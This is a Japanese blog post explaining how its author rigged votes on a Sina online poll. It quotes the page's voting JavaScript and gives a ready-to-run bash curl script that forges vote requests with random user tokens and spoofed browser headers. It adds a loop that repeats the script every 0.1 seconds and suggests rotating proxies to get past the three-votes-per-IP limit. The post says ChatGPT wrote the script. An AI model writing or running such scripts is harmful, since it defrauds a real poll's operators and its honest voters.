笨蛋ovo

笨蛋ovo

新浪投票プラットフォームの票の操作を記録する

亲戚が私に新浪の投票リンクをくれました。
アドレスは http://h5.locate.sina.com.cn/h5/year/activity/ です。
このプラットフォームでは WeChat でのログインは必要ありません。自分のブラウザで投票をしてリクエストを確認しました。
2728438036.webp

callback=jQuery1830560859883008xxx_171833334xxx&uid=5&uu=444192xxxx&_=171833338xxxx

JavaScript をチェックして暗号化されているか確認してみましょう。
3263274083.webp
明らかに暗号化されていませんが、投票ロジックのコードは見つかりませんでした。
ページの要素をチェックしてみましょう。
2124666415.webp
見逃しましたが、ロジックのコードが HTML に直接書かれています。
重要な部分を直接見つけましょう。

if(!localStorage.getItem('uu')){
    localStorage.setItem('uu', Math.ceil(Math.random()*10000000000));
}
$(".n").on("click",function (){
        var index=$(this).parents("li").index();
        var uu=localStorage.getItem('uu');
         console.log(index);
        $.ajax({
            url: URL+'u',
            type:'get',
            data: {uid:index+1,uu:uu},
            dataType: "jsonp",
            jsonp: "callback",
            success: function(res) {
                if(res.info){
                    //alert(res.info);
                    $(".tips").text(res.info).fadeIn();
                    setTimeout(function (){
                        $(".tips").fadeOut();
                    },2000);
                    newslist(index); //データの更新
                    return 0;
                }

            }
        });

これらのコードのほとんどが投票ロジックです。
主に 3 つのパラメータ callback uid uu を渡しています。
callback は通常の jQuery リクエストで、パラメータは jQuery の後に任意の数字を付け、アンダースコアの後にタイムスタンプを付けるだけです。
uid は投票のプロジェクトです。
uu は投票の検証ですが、このコードは既に書かれています(明示的に暗号化されていないので、なぜ検証が必要なのかはわかりません)。おそらくリプレイ攻撃を防ぐためです。
そして、通常のユーザーを模倣するためにリクエストヘッダーを持ってきます。
ChatGPT にスクリプトを書かせましょう。

#!/bin/bash
# blog.baka.plus 转载请注明来源
# ターゲットURLを定義
BASE_URL="http://admin.h5sina.com/activity/index/u"

# ランダムなuu値を生成し、既に存在する場合は既存の値を使用します
if [ -z "$LOCAL_UU" ]; then
  LOCAL_UU=$(shuf -i 1-10000000000 -n 1)
fi

# 他の必要なパラメータを定義
UID11=5 #uidを使わないようにしてシステム変数との衝突を防ぐ
TIMESTAMP=$(date +%s%N | cut -b1-13)
CALLBACK="jQuery183044178990760114514_$TIMESTAMP"

# 完全なURLを構築
URL="$BASE_URL?callback=$CALLBACK&uid=$UID11&uu=$LOCAL_UU&_=$TIMESTAMP" #最後のパラメータはキャッシュに使用するために省略することもできますが、正常なリクエストと一致させるために残しておきます

# curlリクエストを実行
curl "$URL" \
  -H 'Accept: */*' \
  -H 'Accept-Language: zh-CN,zh;q=0.9' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://h5.xxx.sina.com.cn/' \
  -H 'User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36'

ループして実行します。

while true
do
bash script.sh
sleep 0.1
done

1 つの IP アドレスで 3 回しか投票できないため、3 枚の投票ごとにプロキシを変更する必要がありますが、ここでは省略します。

この記事は Mix Space からの同期更新であり、xLog にも掲載されています。
元のリンクは https://blog.baka.plus/posts/tech/sina-vote-platform-vote-manipulation です。


読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。